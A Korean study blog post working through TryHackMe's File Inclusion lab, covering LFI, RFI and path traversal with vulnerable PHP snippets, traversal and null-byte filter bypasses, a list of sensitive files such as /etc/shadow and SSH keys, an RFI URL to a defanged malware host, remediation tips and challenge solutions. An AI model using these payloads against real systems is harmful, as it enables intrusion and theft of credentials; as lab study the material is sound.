본문 바로가기
CTF, 워게임 문제 풀이/Try Hack Me

THM: File Inclusion

by secumark 2025. 6. 7.
728x90

Jr Penetration Tester > Introduction to Web Hacking > File Inclusion

 

전부터 좀 공부해보고 싶었던 파일 삽입(실행, 포함) 취약점을 공부해보려고 한다.

 

일반적으로

1. LFI (Local File Inclusion): 로컬 파일 포함 취약점
2. RFI (Remote File Inclusion): 원격 파일 포함 취약점
3. 디렉터리 트래버설 (Directory Traversal)이 포함된다.

 

웹 애플리케이션은 img, txt 같은 정적 파일에 접근하고자 파일 경로를 요청하도록 작성됨. 파일 요청은 보통 url에 포함된 parameter를 이용함. (url에 붙는 query string이 파라미터에 해당)

 

이렇게 ? (물음표) 뒤에 오는 것들이 parameter, 쿼리 스트링이다.

 

File Inclusion은 php 같은 웹 앱 언어에서 입력값 검증이 부족해 발생한다. 공격자가 임의의 경로를 input으로 전달하면, 이때 파일 취약점이 발생하게 되는 것. 이렇게 되면 웹앱이나 운영체제와 관련된 민감한 파일(소스코드나 로그인 정보 등)을 유출할 수 있게 된다. 

 

여기서 중요한 개념, 공격자가 다른 방법으로 서버에 파일을 업로드 할 수 있는 권한이 있다면, 이 File Inclusion과 결합해 RCE, 즉 원격 명령 실행까지 가능하게 된다. 

 

RCE는 공격자가 서버에 원격으로 명령을 실행시키는 것으로 본인이 직접 그 서버에 접속하지 않아도 웹 취약점을 이용해 서버에서 내 코드를 실행시키는 공격 방식. 

<?php
    $page = $_GET['page'];
    include($page);
?>

 

이런 PHP 파일이 있다고 치자. 일반적으로 page=test.php 라고 보내면, test.php를 요청하게 되는 것인데 

http://target.site/index.php?page=mal.php

 

공격자가 이렇게 보냈다고 치자. 그리고 mal.php에는 공격자가 심어놓은 시스템 명령어 (system('ls'), cat /etc/passwd) 같은 코드가 들어있음. 이때 공격자가 서버에서 마음대로 명령을 실행하게 되니까 RCE가 발생하는 것이다. 

 

 

Path Traversal = Directory Traversal

php에서 자주 사용되는 함수 중 하나는 바로 file_get_contents()다. 


파일 또는 URL의 내용을 "통째로" 읽어서 문자열로 반환하는 PHP 함수

<?php
   $file = $_GET['file'];
   echo file_get_contents($file);
?>

 

$html = file_get_contents("http://example.com");

 

이런식으로 쓰임

 

아래는 테스트 할 때 자주쓰이는 OS files (출처: Try hack me 사이트, file inclusion)

Location Description
/etc/issue contains a message or system identification to be printed before the login prompt.
/etc/profile controls system-wide default variables, such as Export variables, File creation mask (umask), Terminal types, Mail messages to indicate when new mail has arrived
/proc/version specifies the version of the Linux kernel
etc/passwd has all registered users that have access to a system
/etc/shadow contains information about the system's users' passwords
/root/.bash_history contains the history commands for root user
/var/log/dmessage contains global system messages, including the messages that are logged during system startup
/var/mail/root all emails for root user
/root/.ssh/id_rsa Private SSH keys for a root or any known valid user on the server
/var/log/apache2/access.log the accessed requests for Apache web server
C:\boot.ini contains the boot options for computers with BIOS firmware

 

 

Local File Inclusion (LFI)

include, require, include_once, and require_once 같은 php 함수 (물론 LFI 취약점은 ASP, JSP, Node.js에서도 발생하지만 해당 챕터에서는 php 위주로 공부할 예정

 

시나리오 1. 사용자가 2가지 언어 en, ar 중에서 선택할 수 있음

<?PHP 
	include($_GET["lang"]);
?>

 

기본적인 포맷은 뒤에 ?lang=en.php 또는 ?lang=ar.php 이런식일 것이다. (같은 경로에 있음) 

 

해당 코드에서는 include 함수 안에 디렉터리 경로가 지정된 것도 아니고 입력값 검증(input validation)도 하지 않았기 때문에 쉽게 공격이 가능해짐

 

시나리오 2. 경로를 지정해놓고 lang 파라미터에만 입력할 수 있는 경우

<?PHP 
	include("languages/". $_GET['lang']); 
?>

 

대신 입력값 검증이 허술한 상황이므로, 이럴 때 ../../../../etc/passwd 공격 진행이 가능해짐

 

시나리오 3. 블랙박스 테스트

Invalid Input을 입력하게 되면 에러메시지가 뜸과 동시에 다음과 같이 include 함수가 표출됨

Warning: include(includes/THM.php) [function.include]:
failed to open stream: No such file or directory in /var/www/html/test3.php on line 26

 

우리가 lang 값을 입력할 때는 KR, EN으로 하는데, 이 뒤에 사실 .php 파일이 붙어서 전송되는 것을 알 수 있다. 

더불어 현재 위치가 어딘지도 파악했다. (/var/www/html)

/var/www/html/실제파일위치, 총 4 levels로 구성되어 있으니까 /etc/passwd 파일을 읽으려면

../../../../etc/passwd라고 입력하면 되겠다.

 

문제는 이 파일도 .php 확장자로 읽는다는 것. 이때 NULL 타입(%00)을 활용해보자. include("languages/../../../../../etc/passwd%00").".php");

= include("languages/../../../../../etc/passwd"); (PHP 5.3.4 버전 이상부터는 패치됨)

 

시나리오 4

 . = 현재 위치

.. = 상위 디렉터리

 

%00 또는 /etc/passwd/..를 써도 bypass가 되기도 함

 

해당 시나리오에서는 file_get_contents 함수 등장.

PHP에서 전체 파일을 문자열로 읽으려면 file_get_contents 함수를 사용

 

시나리오 5

일부 키워드에 대해 입력 검증을 하기 시작했음. ../를 공백으로 필터링 하고 있음..!

이때 이런식으로 우회가 가능해진다. ....//....//....//....//....//etc/passwd 딱 처음 탐지되는 문자들에 대해서만 필터링을 하기 때문에..

 

시나리오 6

만약 웹서버가 경로를 포함해서 입력하라고 한다면 (예: languages/EN.php) 

 

이런식의 오류 메시지가 뜸. THM-profile 아래의 파일만 허용한다고 했으니까, THM-profile을 맨 앞에 위치시키고, /../../..로 우회하면 되겠다.

 

 

 

Remote File Inclusion - RFI

외부 url을 include 함수에..  allow_url_fopen 옵션만 켜져 있으면 이 공격이 가능 (allow_url_fopen은 정보보안기사에도 잘 나오는.. 옵션이므로 잘 기억해두는게 좋다) 위에서도 언급했지만 RFI가 LFI 보다 위험도가 높은 이유는 서버에서 RCE가 가능해지기 때문이다. 그외에도 Sensitive Information Disclosure, Cross-site Scripting (XSS), Denial of Service (DoS)가 가능해진다.

 

악성파일은 HTTP 요청에 따라 들어오게 되고, 취약한 웹서버를 공격하게 됨.

 

http://secu[.]mark/get.php?file=http://mal[.]ware/trojan[.]txt

 

이런식으로 file 뒤에 악성 url을 넣음. 입력값 검증이 없다면 이 코드가 성공적으로 실행됨.

> secu.mark 서버에서는 GET http://mal[.]ware/trojan[.]txt를 하게 되고, trojan.txt를 서버로 보내며, 실행까지 완료

 

Remediation

실습을 진행하기 전, 이런 LFI, RFI 공격을 막기 위한 해결책을 공부한다. 어떻게 찾고, 방어할 수 있는지는 아래와 같다.

1. 웹 앱 프레임워크는 최신 update를 유지. 

2. PHP error 표출 옵션은 끈다. (취약한 앱 정보 유출을 막기 위해)

3. WAF는 웹 앱 공격을 막는데 좋은 선택지가 됨

4. allow_url_fopen이나 allow_url_include 같은 php 옵션을 disable 한다.

5. 필요한 protocols, PHP wrappers만 허용

6. 사용자 입력을 절대 믿지 말 것. 그리고 입력 검증 시행할 것

7. 파일 이름이나 경로에 대한 화이트리스트, 블랙리스트를 설정할 것

 

Challenge 

문제를 풀어보자. LFI 공격을 진행하는 실습이다. 

 

문제 1.

POST 방식으로, file 파라미터로 요청을 해야된다고 한다. 원하는 파일은 /etc/flag1

일단 post 방식으로 보내려면.. get 방식처럼 url을 통해 파라미터 조작이 불가능해진다. 이때 burp suite을 사용해볼 수 있겠다. 

 

프록시를 이용.. 

 

근데 post로 공격을 해도 아무런 반응이없다

 

이유를 알았다.. ha..

요청헤더랑 요청라인 사이에 빈라인이 있어야 하는 걸 깜빡했다..

 

 

그리고 정말 바보 같게도.. 나는 GET -> POST, 그리고 밑에 file=welcome.php 이 부분만 바뀌는 줄 알았는데 아니다.. post 방식은 밑에 content-type이랑 content-length도 함께 전달된다. 이론을 공부하면 뭐하나.. 실전에서 이렇게 삐끗하는데 ㅠ

 

 

Change request method를 잘 활용하자.

 

1번 문제는 굳이 directory traversal 까지 안해도 답이 나왔다.

 

 

문제 2.

 

admin만 접근 가능한 페이지라고 한다.

 

 

새로고침을 해보면, Cookie에 THM=Guest라고 적혀있는 것을 확인할 수 있다. 저 guest 값을 admin으로 바꿔보면?

 

 

접근이 가능해진다. cookie의 admin 값 뒤에 그냥 ;cat /etc/flag2를 해봤는데 다음과 같은 에러가 표출된다.

 

흠,,

 

burp suite이 좀 불편해서 개발자도구로도 해봤다

 

여기서 이 value의 값을 ../../../../etc/flag2로 바꿔주면

 

error 메시지가 뜬다. 왜냐면 뒤에 .php 확장자가 붙기 때문. 이때 우리는 %00 널바이트를 이용하기로 했다. 예전 버전의 php에서는 %00을 이용하면 .php 확장자를 무시할 수 있기 때문. (서버에서 무시함)

 

문제 3.

 

File Content Preview of 'test'

test라는 문자만 입력해봤는데, 에러 화면이 뜬다. 이것도 php 확장자가 붙는다.

 

welcome이라고 치면 이렇게 welcome to THM라고 뜸

 

../../../../etc/flag라고 쳤더니 ../가 다 필터링 돼서 없어졌다는 것을 확인했다. 보니까 특수문자는 그냥 다 필터링 됨.

 

근데 post로 하니까 또 잘 된다; 그리고 뒤에 .php가 붙으니까 %00도 같이 입력해주기.

 

문제 4. 

RCE 공격을 진행해본다. /playground.php를 사용해서 .. hostname command 활용 

 

/etc/flag라고 입력해보면

 

 

이런 오류가 뜬다.

 

그리고 hostname 명령어는 호스트명을 확인하거나 변경할 때 사용된다.

 

test;cmd=hostname이라고 입력해봤는데 에러 뜬다.

 

 

test&cmd=hostname이라고도 했는데.. 안된다. 그리고 &cmd=hostname이 필터링된 걸 알 수 있었다. 명령어를 입력하면 안되니까.. 파일로 전달해보면 되겠다.

 

 

 

내 pc에 저장된 host.txt 파일을 실행시키려면 서버가 열려있어야 되니까.. 파이썬 서버를 열어줬다.

 

python3 -m http.server 80

 

내 컴퓨터에서 80번 포트로 웹서버를 열어 현재 디렉토리에 있는 파일을 외부에 http로 제공한다는 뜻.. 근데 다른 포트는 다 이용중이라길래 8000으로 했다

 

성공!

 

어렵지만 꽤 많은 걸 공부했다. 

 

총 예상 소요시간이 1시간인데 5시간 걸린.. ㅠ

728x90

'CTF, 워게임 문제 풀이 > Try Hack Me' 카테고리의 다른 글

THM: Intro to Cross-site Scripting  (0) 2025.06.08
THM: Intro to SSRF  (0) 2025.06.08
THM: IDOR  (0) 2025.06.05
THM: Authentication Bypass  (0) 2025.06.03
THM: Subdomain Enumeration  (0) 2025.06.02

댓글